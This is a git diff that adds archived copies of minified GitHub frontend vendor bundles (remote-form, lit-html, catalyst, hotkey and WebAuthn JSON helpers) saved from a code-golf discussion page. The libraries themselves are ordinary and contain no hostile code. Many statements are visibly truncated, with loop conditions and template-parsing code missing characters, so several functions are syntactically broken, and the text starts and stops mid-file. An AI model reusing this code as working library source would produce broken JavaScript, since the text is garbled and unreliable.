c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js new file mode 100644 index 0000000..0915d8c --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js @@ -0,0 +1,135 @@ +"use strict";(()=>{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var 